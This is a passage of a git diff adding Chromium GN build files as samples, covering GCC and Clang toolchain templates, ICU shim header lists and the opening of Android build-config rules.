+#      for a shared library, rather than default value specified in
+#      toolchain.gni
+#  - strip
+#      Location of the strip executable. When specified, strip will be run on
+#      all shared libraries and executables as they are built. The pre-stripped
+#      artifacts will be put in lib.unstripped/ and exe.unstripped/.
+template("gcc_toolchain") {
+  toolchain(target_name) {
+    assert(defined(invoker.ar), "gcc_toolchain() must specify a \"ar\" value")
+    assert(defined(invoker.cc), "gcc_toolchain() must specify a \"cc\" value")
+    assert(defined(invoker.cxx), "gcc_toolchain() must specify a \"cxx\" value")
+    assert(defined(invoker.ld), "gcc_toolchain() must specify a \"ld\" value")
+
+    # This define changes when the toolchain changes, forcing a rebuild.
+    # Nothing should ever use this define.
+    if (defined(invoker.rebuild_define)) {
+      rebuild_string = "-D" + invoker.rebuild_define + " "
+    } else {
+      rebuild_string = ""
+    }
+
+    # GN's syntax can't handle more than one scope dereference at once, like
+    # "invoker.toolchain_args.foo", so make a temporary to hold the toolchain
+    # args so we can do "invoker_toolchain_args.foo".
+    assert(defined(invoker.toolchain_args),
+           "Toolchains must specify toolchain_args")
+    invoker_toolchain_args = invoker.toolchain_args
+    assert(defined(invoker_toolchain_args.current_cpu),
+           "toolchain_args must specify a current_cpu")
+    assert(defined(invoker_toolchain_args.current_os),
+           "toolchain_args must specify a current_os")
+
+    # When invoking this toolchain not as the default one, these args will be
+    # passed to the build. They are ignored when this is the default toolchain.
+    toolchain_args = {
+      # Populate toolchain args from the invoker.
+      forward_variables_from(invoker_toolchain_args, "*")
+
+      # The host toolchain value computed by the default toolchain's setup
+      # needs to be passed through unchanged to all secondary toolchains to
+      # ensure that it's always the same, regardless of the values that may be
+      # set on those toolchains.
+      host_toolchain = host_toolchain
+
+      if (!defined(invoker_toolchain_args.v8_current_cpu)) {
+        v8_current_cpu = invoker_toolchain_args.current_cpu
+      }
+    }
+
+    # When the invoker has explicitly overridden use_goma or cc_wrapper in the
+    # toolchain args, use those values, otherwise default to the global one.
+    # This works because the only reasonable override that toolchains might
+    # supply for these values are to force-disable them.
+    if (defined(toolchain_args.use_goma)) {
+      toolchain_uses_goma = toolchain_args.use_goma
+    } else {
+      toolchain_uses_goma = use_goma
+    }
+    if (defined(toolchain_args.cc_wrapper)) {
+      toolchain_cc_wrapper = toolchain_args.cc_wrapper
+    } else {
+      toolchain_cc_wrapper = cc_wrapper
+    }
+
+    # Compute the compiler prefix.
+    if (toolchain_uses_goma) {
+      assert(toolchain_cc_wrapper == "",
+             "Goma and cc_wrapper can't be used together.")
+      compiler_prefix = "$goma_dir/gomacc "
+    } else if (toolchain_cc_wrapper != "") {
+      compiler_prefix = toolchain_cc_wrapper + " "
+    } else {
+      compiler_prefix = ""
+    }
+
+    cc = compiler_prefix + invoker.cc
+    cxx = compiler_prefix + invoker.cxx
+    ar = invoker.ar
+    ld = invoker.ld
+    if (defined(invoker.readelf)) {
+      readelf = invoker.readelf
+    } else {
+      readelf = "readelf"
+    }
+    if (defined(invoker.nm)) {
+      nm = invoker.nm
+    } else {
+      nm = "nm"
+    }
+
+    if (defined(invoker.shlib_extension)) {
+      default_shlib_extension = invoker.shlib_extension
+    } else {
+      default_shlib_extension = shlib_extension
+    }
+
+    if (defined(invoker.executable_extension)) {
+      default_executable_extension = invoker.executable_extension
+    } else {
+      default_executable_extension = ""
+    }
+
+    # Bring these into our scope for string interpolation with default values.
+    if (defined(invoker.libs_section_prefix)) {
+      libs_section_prefix = invoker.libs_section_prefix
+    } else {
+      libs_section_prefix = ""
+    }
+
+    if (defined(invoker.libs_section_postfix)) {
+      libs_section_postfix = invoker.libs_section_postfix
+    } else {
+      libs_section_postfix = ""
+    }
+
+    if (defined(invoker.solink_libs_section_prefix)) {
+      solink_libs_section_prefix = invoker.solink_libs_section_prefix
+    } else {
+      solink_libs_section_prefix = ""
+    }
+
+    if (defined(invoker.solink_libs_section_postfix)) {
+      solink_libs_section_postfix = invoker.solink_libs_section_postfix
+    } else {
+      solink_libs_section_postfix = ""
+    }
+
+    if (defined(invoker.extra_cflags) && invoker.extra_cflags != "") {
+      extra_cflags = " " + invoker.extra_cflags
+    } else {
+      extra_cflags = ""
+    }
+
+    if (defined(invoker.extra_cppflags) && invoker.extra_cppflags != "") {
+      extra_cppflags = " " + invoker.extra_cppflags
+    } else {
+      extra_cppflags = ""
+    }
+
+    if (defined(invoker.extra_cxxflags) && invoker.extra_cxxflags != "") {
+      extra_cxxflags = " " + invoker.extra_cxxflags
+    } else {
+      extra_cxxflags = ""
+    }
+
+    if (defined(invoker.extra_ldflags) && invoker.extra_ldflags != "") {
+      extra_ldflags = " " + invoker.extra_ldflags
+    } else {
+      extra_ldflags = ""
+    }
+
+    # These library switches can apply to all tools below.
+    lib_switch = "-l"
+    lib_dir_switch = "-L"
+
+    # Object files go in this directory.
+    object_subdir = "{{target_out_dir}}/{{label_name}}"
+
+    tool("cc") {
+      depfile = "{{output}}.d"
+      command = "$cc -MMD -MF $depfile ${rebuild_string}{{defines}} {{include_dirs}} {{cflags}} {{cflags_c}}${extra_cppflags}${extra_cflags} -c {{source}} -o {{output}}"
+      depsformat = "gcc"
+      description = "CC {{output}}"
+      outputs = [
+        # The whitelist file is also an output, but ninja does not
+        # currently support multiple outputs for tool("cc").
+        "$object_subdir/{{source_name_part}}.o",
+      ]
+      if (enable_resource_whitelist_generation) {
+        compile_wrapper =
+            rebase_path("//build/toolchain/gcc_compile_wrapper.py",
+                        root_build_dir)
+        command = "$python_path \"$compile_wrapper\" --resource-whitelist=\"{{output}}.whitelist\" $command"
+      }
+    }
+
+    tool("cxx") {
+      depfile = "{{output}}.d"
+      command = "$cxx -MMD -MF $depfile ${rebuild_string}{{defines}} {{include_dirs}} {{cflags}} {{cflags_cc}}${extra_cppflags}${extra_cxxflags} -c {{source}} -o {{output}}"
+      depsformat = "gcc"
+      description = "CXX {{output}}"
+      outputs = [
+        # The whitelist file is also an output, but ninja does not
+        # currently support multiple outputs for tool("cxx").
+        "$object_subdir/{{source_name_part}}.o",
+      ]
+      if (enable_resource_whitelist_generation) {
+        compile_wrapper =
+            rebase_path("//build/toolchain/gcc_compile_wrapper.py",
+                        root_build_dir)
+        command = "$python_path \"$compile_wrapper\" --resource-whitelist=\"{{output}}.whitelist\" $command"
+      }
+    }
+
+    tool("asm") {
+      # For GCC we can just use the C compiler to compile assembly.
+      depfile = "{{output}}.d"
+      command = "$cc -MMD -MF $depfile ${rebuild_string}{{defines}} {{include_dirs}} {{asmflags}} -c {{source}} -o {{output}}"
+      depsformat = "gcc"
+      description = "ASM {{output}}"
+      outputs = [
+        "$object_subdir/{{source_name_part}}.o",
+      ]
+    }
+
+    tool("alink") {
+      rspfile = "{{output}}.rsp"
+      whitelist_flag = " "
+      if (enable_resource_whitelist_generation) {
+        whitelist_flag = " --resource-whitelist=\"{{output}}.whitelist\""
+      }
+
+      # This needs a Python script to avoid using simple sh features in this
+      # command, in case the host does not use a POSIX shell (e.g. compiling
+      # POSIX-like toolchains such as NaCl on Windows).
+      ar_wrapper =
+          rebase_path("//build/toolchain/gcc_ar_wrapper.py", root_build_dir)
+      command = "$python_path \"$ar_wrapper\"$whitelist_flag --output={{output}} --ar=\"$ar\" {{arflags}} rcsD @\"$rspfile\""
+      description = "AR {{output}}"
+      rspfile_content = "{{inputs}}"
+      outputs = [
+        "{{output_dir}}/{{target_output_name}}{{output_extension}}",
+      ]
+
+      # Shared libraries go in the target out directory by default so we can
+      # generate different targets with the same name and not have them collide.
+      default_output_dir = "{{target_out_dir}}"
+      default_output_extension = ".a"
+      output_prefix = "lib"
+    }
+
+    tool("solink") {
+      soname = "{{target_output_name}}{{output_extension}}"  # e.g. "libfoo.so".
+      sofile = "{{output_dir}}/$soname"  # Possibly including toolchain dir.
+      rspfile = sofile + ".rsp"
+      pool = "//build/toolchain:link_pool($default_toolchain)"
+      whitelist_flag = " "
+      if (enable_resource_whitelist_generation) {
+        whitelist_file = "$sofile.whitelist"
+        whitelist_flag = " --resource-whitelist=\"$whitelist_file\""
+      }
+
+      if (defined(invoker.strip)) {
+        unstripped_sofile = "{{root_out_dir}}/lib.unstripped/$soname"
+      } else {
+        unstripped_sofile = sofile
+      }
+
+      # These variables are not built into GN but are helpers that
+      # implement (1) linking to produce a .so, (2) extracting the symbols
+      # from that file (3) if the extracted list differs from the existing
+      # .TOC file, overwrite it, otherwise, don't change it.
+      tocfile = sofile + ".TOC"
+
+      link_command = "$ld -shared {{ldflags}}${extra_ldflags} -o \"$unstripped_sofile\" -Wl,-soname=\"$soname\" @\"$rspfile\""
+
+      assert(defined(readelf), "to solink you must have a readelf")
+      assert(defined(nm), "to solink you must have an nm")
+      strip_switch = ""
+      if (defined(invoker.strip)) {
+        strip_switch = "--strip=${invoker.strip}"
+      }
+
+      # This needs a Python script to avoid using a complex shell command
+      # requiring sh control structures, pipelines, and POSIX utilities.
+      # The host might not have a POSIX shell and utilities (e.g. Windows).
+      solink_wrapper = rebase_path("//build/toolchain/gcc_solink_wrapper.py")
+      command = "$python_path \"$solink_wrapper\" --readelf=\"$readelf\" --nm=\"$nm\" $strip_switch --sofile=\"$unstripped_sofile\" --tocfile=\"$tocfile\" --output=\"$sofile\"$whitelist_flag -- $link_command"
+
+      rspfile_content = "-Wl,--whole-archive {{inputs}} {{solibs}} -Wl,--no-whole-archive $solink_libs_section_prefix {{libs}} $solink_libs_section_postfix"
+
+      description = "SOLINK $sofile"
+
+      # Use this for {{output_extension}} expansions unless a target manually
+      # overrides it (in which case {{output_extension}} will be what the target
+      # specifies).
+      default_output_extension = default_shlib_extension
+
+      default_output_dir = "{{root_out_dir}}"
+      if (shlib_subdir != ".") {
+        default_output_dir += "/$shlib_subdir"
+      }
+
+      output_prefix = "lib"
+
+      # Since the above commands only updates the .TOC file when it changes, ask
+      # Ninja to check if the timestamp actually changed to know if downstream
+      # dependencies should be recompiled.
+      restat = true
+
+      # Tell GN about the output files. It will link to the sofile but use the
+      # tocfile for dependency management.
+      outputs = [
+        sofile,
+        tocfile,
+      ]
+      if (enable_resource_whitelist_generation) {
+        outputs += [ whitelist_file ]
+      }
+      if (sofile != unstripped_sofile) {
+        outputs += [ unstripped_sofile ]
+      }
+      link_output = sofile
+      depend_output = tocfile
+    }
+
+    tool("solink_module") {
+      soname = "{{target_output_name}}{{output_extension}}"  # e.g. "libfoo.so".
+      sofile = "{{output_dir}}/$soname"
+      rspfile = sofile + ".rsp"
+      pool = "//build/toolchain:link_pool($default_toolchain)"
+
+      if (defined(invoker.strip)) {
+        unstripped_sofile = "{{root_out_dir}}/lib.unstripped/$soname"
+      } else {
+        unstripped_sofile = sofile
+      }
+
+      command = "$ld -shared {{ldflags}}${extra_ldflags} -o \"$unstripped_sofile\" -Wl,-soname=\"$soname\" @\"$rspfile\""
+
+      if (defined(invoker.strip)) {
+        strip_command = "${invoker.strip} --strip-unneeded -o \"$sofile\" \"$unstripped_sofile\""
+        command += " && " + strip_command
+      }
+      rspfile_content = "-Wl,--whole-archive {{inputs}} {{solibs}} -Wl,--no-whole-archive $solink_libs_section_prefix {{libs}} $solink_libs_section_postfix"
+
+      description = "SOLINK_MODULE $sofile"
+
+      # Use this for {{output_extension}} expansions unless a target manually
+      # overrides it (in which case {{output_extension}} will be what the target
+      # specifies).
+      if (defined(invoker.loadable_module_extension)) {
+        default_output_extension = invoker.loadable_module_extension
+      } else {
+        default_output_extension = default_shlib_extension
+      }
+
+      default_output_dir = "{{root_out_dir}}"
+      if (shlib_subdir != ".") {
+        default_output_dir += "/$shlib_subdir"
+      }
+
+      output_prefix = "lib"
+
+      outputs = [
+        sofile,
+      ]
+      if (sofile != unstripped_sofile) {
+        outputs += [ unstripped_sofile ]
+      }
+    }
+
+    tool("link") {
+      exename = "{{target_output_name}}{{output_extension}}"
+      outfile = "{{output_dir}}/$exename"
+      rspfile = "$outfile.rsp"
+      unstripped_outfile = outfile
+      pool = "//build/toolchain:link_pool($default_toolchain)"
+
+      # Use this for {{output_extension}} expansions unless a target manually
+      # overrides it (in which case {{output_extension}} will be what the target
+      # specifies).
+      default_output_extension = default_executable_extension
+
+      default_output_dir = "{{root_out_dir}}"
+
+      if (defined(invoker.strip)) {
+        unstripped_outfile = "{{root_out_dir}}/exe.unstripped/$exename"
+      }
+
+      command = "$ld {{ldflags}}${extra_ldflags} -o \"$unstripped_outfile\" -Wl,--start-group @\"$rspfile\" {{solibs}} -Wl,--end-group $libs_section_prefix {{libs}} $libs_section_postfix"
+      if (defined(invoker.strip)) {
+        link_wrapper =
+            rebase_path("//build/toolchain/gcc_link_wrapper.py", root_build_dir)
+        command = "$python_path \"$link_wrapper\" --strip=\"${invoker.strip}\" --unstripped-file=\"$unstripped_outfile\" --output=\"$outfile\" -- $command"
+      }
+      description = "LINK $outfile"
+      rspfile_content = "{{inputs}}"
+      outputs = [
+        outfile,
+      ]
+      if (outfile != unstripped_outfile) {
+        outputs += [ unstripped_outfile ]
+      }
+      if (defined(invoker.link_outputs)) {
+        outputs += invoker.link_outputs
+      }
+    }
+
+    # These two are really entirely generic, but have to be repeated in
+    # each toolchain because GN doesn't allow a template to be used here.
+    # See //build/toolchain/toolchain.gni for details.
+    tool("stamp") {
+      command = stamp_command
+      description = stamp_description
+    }
+    tool("copy") {
+      command = copy_command
+      description = copy_description
+    }
+
+    forward_variables_from(invoker, [ "deps" ])
+  }
+}
+
+# This is a shorthand for gcc_toolchain instances based on the Chromium-built
+# version of Clang. Only the toolchain_cpu and toolchain_os variables need to
+# be specified by the invoker, and optionally toolprefix if it's a
+# cross-compile case. Note that for a cross-compile case this toolchain
+# requires a config to pass the appropriate -target option, or else it will
+# actually just be doing a native compile. The invoker can optionally override
+# use_gold too.
+template("clang_toolchain") {
+  if (defined(invoker.toolprefix)) {
+    toolprefix = invoker.toolprefix
+  } else {
+    toolprefix = ""
+  }
+
+  gcc_toolchain(target_name) {
+    prefix = rebase_path("$clang_base_path/bin", root_build_dir)
+    cc = "$prefix/clang"
+    cxx = "$prefix/clang++"
+    ld = cxx
+
+    readelf = "${toolprefix}readelf"
+    ar = "${toolprefix}ar"
+    nm = "${toolprefix}nm"
+
+    forward_variables_from(invoker, [ "strip" ])
+
+    toolchain_args = {
+      if (defined(invoker.toolchain_args)) {
+        forward_variables_from(invoker.toolchain_args, "*")
+      }
+      is_clang = true
+    }
+  }
+}
diff --git a/samples/GN/icu.gn b/samples/GN/icu.gn
new file mode 100644
index 0000000000..f3734b7a01
--- /dev/null
+++ b/samples/GN/icu.gn
@@ -0,0 +1,235 @@
+# Copyright 2016 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//build/config/linux/pkg_config.gni")
+import("//build/shim_headers.gni")
+
+group("icu") {
+  public_deps = [
+    ":icui18n",
+    ":icuuc",
+  ]
+}
+
+config("icu_config") {
+  defines = [
+    "USING_SYSTEM_ICU=1",
+    "ICU_UTIL_DATA_IMPL=ICU_UTIL_DATA_STATIC",
+  ]
+}
+
+pkg_config("system_icui18n") {
+  packages = [ "icu-i18n" ]
+}
+
+pkg_config("system_icuuc") {
+  packages = [ "icu-uc" ]
+}
+
+source_set("icui18n") {
+  deps = [
+    ":icui18n_shim",
+  ]
+  public_configs = [
+    ":icu_config",
+    ":system_icui18n",
+  ]
+}
+
+source_set("icuuc") {
+  deps = [
+    ":icuuc_shim",
+  ]
+  public_configs = [
+    ":icu_config",
+    ":system_icuuc",
+  ]
+}
+
+shim_headers("icui18n_shim") {
+  root_path = "source/i18n"
+  headers = [
+    # This list can easily be updated using the command below:
+    # find third_party/icu/source/i18n/unicode \
+    # -iname '*.h' -printf '"%p",\n' | \
+    # sed -e 's|third_party/icu/i18n/common/||' | sort -u
+    "unicode/alphaindex.h",
+    "unicode/basictz.h",
+    "unicode/calendar.h",
+    "unicode/choicfmt.h",
+    "unicode/coleitr.h",
+    "unicode/coll.h",
+    "unicode/compactdecimalformat.h",
+    "unicode/curramt.h",
+    "unicode/currpinf.h",
+    "unicode/currunit.h",
+    "unicode/datefmt.h",
+    "unicode/dcfmtsym.h",
+    "unicode/decimfmt.h",
+    "unicode/dtfmtsym.h",
+    "unicode/dtitvfmt.h",
+    "unicode/dtitvinf.h",
+    "unicode/dtptngen.h",
+    "unicode/dtrule.h",
+    "unicode/fieldpos.h",
+    "unicode/fmtable.h",
+    "unicode/format.h",
+    "unicode/fpositer.h",
+    "unicode/gender.h",
+    "unicode/gregocal.h",
+    "unicode/locdspnm.h",
+    "unicode/measfmt.h",
+    "unicode/measunit.h",
+    "unicode/measure.h",
+    "unicode/msgfmt.h",
+    "unicode/numfmt.h",
+    "unicode/numsys.h",
+    "unicode/plurfmt.h",
+    "unicode/plurrule.h",
+    "unicode/rbnf.h",
+    "unicode/rbtz.h",
+    "unicode/regex.h",
+    "unicode/region.h",
+    "unicode/reldatefmt.h",
+    "unicode/scientificnumberformatter.h",
+    "unicode/search.h",
+    "unicode/selfmt.h",
+    "unicode/simpletz.h",
+    "unicode/smpdtfmt.h",
+    "unicode/sortkey.h",
+    "unicode/stsearch.h",
+    "unicode/tblcoll.h",
+    "unicode/timezone.h",
+    "unicode/tmunit.h",
+    "unicode/tmutamt.h",
+    "unicode/tmutfmt.h",
+    "unicode/translit.h",
+    "unicode/tzfmt.h",
+    "unicode/tznames.h",
+    "unicode/tzrule.h",
+    "unicode/tztrans.h",
+    "unicode/ucal.h",
+    "unicode/ucol.h",
+    "unicode/ucoleitr.h",
+    "unicode/ucsdet.h",
+    "unicode/ucurr.h",
+    "unicode/udat.h",
+    "unicode/udateintervalformat.h",
+    "unicode/udatpg.h",
+    "unicode/udisplaycontext.h",
+    "unicode/ufieldpositer.h",
+    "unicode/uformattable.h",
+    "unicode/ugender.h",
+    "unicode/uldnames.h",
+    "unicode/ulocdata.h",
+    "unicode/umsg.h",
+    "unicode/unirepl.h",
+    "unicode/unum.h",
+    "unicode/unumsys.h",
+    "unicode/upluralrules.h",
+    "unicode/uregex.h",
+    "unicode/uregion.h",
+    "unicode/usearch.h",
+    "unicode/uspoof.h",
+    "unicode/utmscale.h",
+    "unicode/utrans.h",
+    "unicode/vtzone.h",
+  ]
+}
+
+shim_headers("icuuc_shim") {
+  root_path = "source/common"
+  headers = [
+    # This list can easily be updated using the command below:
+    # find third_party/icu/source/common/unicode \
+    # -iname '*.h' -printf '"%p",\n' | \
+    # sed -e 's|third_party/icu/source/common/||' | sort -u
+    "unicode/appendable.h",
+    "unicode/brkiter.h",
+    "unicode/bytestream.h",
+    "unicode/bytestrie.h",
+    "unicode/bytestriebuilder.h",
+    "unicode/caniter.h",
+    "unicode/chariter.h",
+    "unicode/dbbi.h",
+    "unicode/docmain.h",
+    "unicode/dtintrv.h",
+    "unicode/enumset.h",
+    "unicode/errorcode.h",
+    "unicode/filteredbrk.h",
+    "unicode/icudataver.h",
+    "unicode/icuplug.h",
+    "unicode/idna.h",
+    "unicode/listformatter.h",
+    "unicode/localpointer.h",
+    "unicode/locid.h",
+    "unicode/messagepattern.h",
+    "unicode/normalizer2.h",
+    "unicode/normlzr.h",
+    "unicode/parseerr.h",
+    "unicode/parsepos.h",
+    "unicode/platform.h",
+    "unicode/ptypes.h",
+    "unicode/putil.h",
+    "unicode/rbbi.h",
+    "unicode/rep.h",
+    "unicode/resbund.h",
+    "unicode/schriter.h",
+    "unicode/std_string.h",
+    "unicode/strenum.h",
+    "unicode/stringpiece.h",
+    "unicode/stringtriebuilder.h",
+    "unicode/symtable.h",
+    "unicode/ubidi.h",
+    "unicode/ubrk.h",
+    "unicode/ucasemap.h",
+    "unicode/ucat.h",
+    "unicode/uchar.h",
+    "unicode/ucharstrie.h",
+    "unicode/ucharstriebuilder.h",
+    "unicode/uchriter.h",
+    "unicode/uclean.h",
+    "unicode/ucnv.h",
+    "unicode/ucnv_cb.h",
+    "unicode/ucnv_err.h",
+    "unicode/ucnvsel.h",
+    "unicode/uconfig.h",
+    "unicode/udata.h",
+    "unicode/uenum.h",
+    "unicode/uidna.h",
+    "unicode/uiter.h",
+    "unicode/ulistformatter.h",
+    "unicode/uloc.h",
+    "unicode/umachine.h",
+    "unicode/umisc.h",
+    "unicode/unifilt.h",
+    "unicode/unifunct.h",
+    "unicode/unimatch.h",
+    "unicode/uniset.h",
+    "unicode/unistr.h",
+    "unicode/unorm.h",
+    "unicode/unorm2.h",
+    "unicode/uobject.h",
+    "unicode/urename.h",
+    "unicode/urep.h",
+    "unicode/ures.h",
+    "unicode/uscript.h",
+    "unicode/uset.h",
+    "unicode/usetiter.h",
+    "unicode/ushape.h",
+    "unicode/usprep.h",
+    "unicode/ustring.h",
+    "unicode/ustringtrie.h",
+    "unicode/utext.h",
+    "unicode/utf.h",
+    "unicode/utf16.h",
+    "unicode/utf32.h",
+    "unicode/utf8.h",
+    "unicode/utf_old.h",
+    "unicode/utrace.h",
+    "unicode/utypes.h",
+    "unicode/uvernum.h",
+    "unicode/uversion.h",
+  ]
+}
diff --git a/samples/GN/internal_rules.gni b/samples/GN/internal_rules.gni
new file mode 100644
index 0000000000..27b736f36a
--- /dev/null
+++ b/samples/GN/internal_rules.gni
@@ -0,0 +1,2788 @@
+# Copyright 2014 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+# Do not add any imports to non-//build directories here.
+# Some projects (e.g. V8) do not have non-build directories DEPS'ed in.
+import("//build_overrides/build.gni")
+import("//build/config/android/config.gni")
+import("//build/config/dcheck_always_on.gni")
+import("//build/config/sanitizers/sanitizers.gni")
+
+assert(is_android)
+
+# These identify targets that have .build_config files (except for android_apk,
+# java_binary, resource_rewriter, since we never need to depend on these).
+_java_target_whitelist = [
+  "*:*_java",
+  "*:*_javalib",
+  "*:*_java_*",  # e.g. java_test_support
+  "*:java",
+  "*:junit",
+  "*:junit_*",
+  "*:*_junit_*",
+  "*:*javatests",
+  "*:*_assets",
+  "*android*:assets",
+  "*:*_apk_*resources",
+  "*android*:resources",
+  "*:*_resources",
+  "*:*_grd",
+  "*:*locale_paks",
+
+  # TODO(agrieve): Rename targets below to match above patterns.
+  "*android_webview/glue:glue",
+  "//build/android/rezip:rezip",
+  "//chrome/test/android/cast_emulator:cast_emulator",
+]
+
+# Targets that match the whitelist but are not actually java targets.
+_java_target_blacklist = [
+  "//chrome:packed_resources",
+  "//remoting/android:remoting_android_raw_resources",
+  "*:*_unpack_aar",
+]
+
+# Write the target's .build_config file. This is a json file that contains a
+# dictionary of information about how to build this target (things that
+# require knowledge about this target's dependencies and cannot be calculated
+# at gn-time). There is a special syntax to add a value in that dictionary to
+# an action/action_foreachs args:
+#   --python-arg=@FileArg($rebased_build_config_path:key0:key1)
+# At runtime, such an arg will be replaced by the value in the build_config.
+# See build/android/gyp/write_build_config.py and
+# build/android/gyp/util/build_utils.py:ExpandFileArgs
+template("write_build_config") {
+  type = invoker.type
+  _is_prebuilt_binary =
+      defined(invoker.is_prebuilt_binary) && invoker.is_prebuilt_binary
+
+  # Don't need to enforce naming scheme for these targets since we never
+  # consider them in dependency chains.
+  if (!_is_prebuilt_binary && type != "android_apk" && type != "java_binary" &&
+      type != "resource_rewriter") {
+    set_sources_assignment_filter(_java_target_whitelist)
+    _parent_invoker = invoker.invoker
+    _target_label =
+        get_label_info(":${_parent_invoker.target_name}", "label_no_toolchain")
+    sources = [
+      _target_label,
+    ]
+    if (sources != []) {
+      set_sources_assignment_filter(_java_target_blacklist)
+      sources = []
+      sources = [
+        _target_label,
+      ]
+      if (sources != []) {
+        assert(false, "Invalid java target name: $_target_label")
+      }
+    }
+    sources = []
+  }
+
+  action(target_name) {
+    set_sources_assignment_filter([])
+    build_config = invoker.build_config
+
+    assert(type == "android_apk" || type == "java_library" ||
+           type == "android_resources" || type == "deps_dex" ||
+           type == "android_assets" || type == "resource_rewriter" ||
+           type == "java_binary" || type == "group" || type == "java_prebuilt")
+
+    forward_variables_from(invoker,
+                           [
+                             "deps",
+                             "testonly",
+                           ])
+    if (!defined(deps)) {
+      deps = []
+    }
+
+    script = "//build/android/gyp/write_build_config.py"
+    depfile = "$target_gen_dir/$target_name.d"
+    inputs = []
+
+    _deps_configs = []
+    if (defined(invoker.possible_config_deps)) {
+      foreach(_possible_dep, invoker.possible_config_deps) {
+        set_sources_assignment_filter(_java_target_whitelist)
+        _target_label = get_label_info(_possible_dep, "label_no_toolchain")
+        sources = [
+          _target_label,
+        ]
+        if (sources == []) {
+          set_sources_assignment_filter(_java_target_blacklist)
+          sources = []
+          sources = [
+            _target_label,
+          ]
+          if (sources != []) {
+            deps += [ "${_target_label}__build_config" ]
+            _dep_gen_dir = get_label_info(_possible_dep, "target_gen_dir")
+            _dep_name = get_label_info(_possible_dep, "name")
+            _deps_configs += [ "$_dep_gen_dir/$_dep_name.build_config" ]
+          }
+        }
+        sources = []
+      }
+      set_sources_assignment_filter([])
+    }
+    _rebased_deps_configs = rebase_path(_deps_configs, root_build_dir)
+
+    outputs = [
+      build_config,
+    ]
+
+    args = [
+      "--type",
+      type,
+      "--depfile",
+      rebase_path(depfile, root_build_dir),
+      "--deps-configs=$_rebased_deps_configs",
+      "--build-config",
+      rebase_path(build_config, root_build_dir),
+    ]
+
+    is_java = type == "java_library" || type == "java_binary" ||
+              type == "java_prebuilt"
+    is_apk = type == "android_apk"
+    is_android_assets = type == "android_assets"
+    is_android_resources = type == "android_resources"
+    is_deps_dex = type == "deps_dex"
+    is_group = type == "group"
+
+    supports_android = is_apk || is_android_assets || is_android_resources ||
+                       is_deps_dex || is_group ||
+                       (is_java && defined(invoker.supports_android) &&
+                        invoker.supports_android)
+    requires_android =
+        is_apk || is_android_assets || is_android_resources || is_deps_dex ||
+        (is_java && defined(invoker.requires_android) &&
+         invoker.requires_android)
+
+    assert(!requires_android || supports_android,
+           "requires_android requires" + " supports_android")
+
+    # Mark these variables as used.
+    assert(is_java || true)
+    assert(is_apk || true)
+    assert(is_android_resources || true)
+    assert(is_deps_dex || true)
+    assert(is_group || true)
+
+    if (is_java || is_apk) {
+      args += [
+        "--jar-path",
+        rebase_path(invoker.jar_path, root_build_dir),
+      ]
+    }
+
+    if (is_apk || is_deps_dex || (is_java && supports_android)) {
+      args += [
+        "--dex-path",
+        rebase_path(invoker.dex_path, root_build_dir),
+      ]
+    }
+    if (supports_android) {
+      args += [ "--supports-android" ]
+    }
+    if (requires_android) {
+      args += [ "--requires-android" ]
+    }
+    if (defined(invoker.bypass_platform_checks) &&
+        invoker.bypass_platform_checks) {
+      args += [ "--bypass-platform-checks" ]
+    }
+
+    if (defined(invoker.apk_under_test)) {
+      deps += [ "${invoker.apk_under_test}__build_config" ]
+      apk_under_test_gen_dir =
+          get_label_info(invoker.apk_under_test, "target_gen_dir")
+      apk_under_test_name = get_label_info(invoker.apk_under_test, "name")
+      apk_under_test_config =
+          "$apk_under_test_gen_dir/$apk_under_test_name.build_config"
+      args += [
+        "--tested-apk-config",
+        rebase_path(apk_under_test_config, root_build_dir),
+      ]
+    }
+
+    if (is_android_assets) {
+      if (defined(invoker.asset_sources)) {
+        _rebased_asset_sources =
+            rebase_path(invoker.asset_sources, root_build_dir)
+        args += [ "--asset-sources=$_rebased_asset_sources" ]
+      }
+      if (defined(invoker.asset_renaming_sources)) {
+        _rebased_asset_renaming_sources =
+            rebase_path(invoker.asset_renaming_sources, root_build_dir)
+        args += [ "--asset-renaming-sources=$_rebased_asset_renaming_sources" ]
+
+        # These are zip paths, so no need to rebase.
+        args += [ "--asset-renaming-destinations=${invoker.asset_renaming_destinations}" ]
+      }
+      if (defined(invoker.disable_compression) && invoker.disable_compression) {
+        args += [ "--disable-asset-compression" ]
+      }
+    }
+
+    if (is_android_resources || is_apk) {
+      assert(defined(invoker.resources_zip))
+      args += [
+        "--resources-zip",
+        rebase_path(invoker.resources_zip, root_build_dir),
+      ]
+      if (defined(invoker.android_manifest)) {
+        inputs += [ invoker.android_manifest ]
+        args += [
+          "--android-manifest",
+          rebase_path(invoker.android_manifest, root_build_dir),
+        ]
+      } else {
+        assert(!is_apk, "apk build configs require an android_manifest")
+      }
+      if (defined(invoker.custom_package)) {
+        args += [
+          "--package-name",
+          invoker.custom_package,
+        ]
+      }
+      if (defined(invoker.r_text)) {
+        args += [
+          "--r-text",
+          rebase_path(invoker.r_text, root_build_dir),
+        ]
+      }
+    }
+
+    if (is_android_resources && defined(invoker.resource_dirs)) {
+      resource_dirs = rebase_path(invoker.resource_dirs, root_build_dir)
+      args += [ "--resource-dirs=$resource_dirs" ]
+    }
+
+    if (is_apk) {
+      if (defined(invoker.shared_libraries_runtime_deps_file)) {
+        # Don't list shared_libraries_runtime_deps_file as an input in order to
+        # avoid having to depend on the runtime_deps target. See comment in
+        # rules.gni for why we do this.
+        args += [
+          "--shared-libraries-runtime-deps",
+          rebase_path(invoker.shared_libraries_runtime_deps_file,
+                      root_build_dir),
+        ]
+      }
+
+      if (defined(invoker.secondary_abi_shared_libraries_runtime_deps_file)) {
+        # Don't list secondary_abi_shared_libraries_runtime_deps_file as an
+        # input in order to avoid having to depend on the runtime_deps target.
+        # See comment in rules.gni for why we do this.
+        args += [
+          "--secondary-abi-shared-libraries-runtime-deps",
+          rebase_path(invoker.secondary_abi_shared_libraries_runtime_deps_file,
+                      root_build_dir),
+        ]
+      }
+
+      if (defined(invoker.proguard_enabled) && invoker.proguard_enabled) {
+        args += [
+          "--proguard-enabled",
+          "--proguard-info",
+          rebase_path(invoker.proguard_info, root_build_dir),
+        ]
+      }
+
+      if (defined(invoker.apk_path)) {
+        _rebased_apk_path = rebase_path(invoker.apk_path, root_build_dir)
+        _rebased_incremental_apk_path =
+            rebase_path(invoker.incremental_apk_path, root_build_dir)
+        _rebased_incremental_install_script_path =
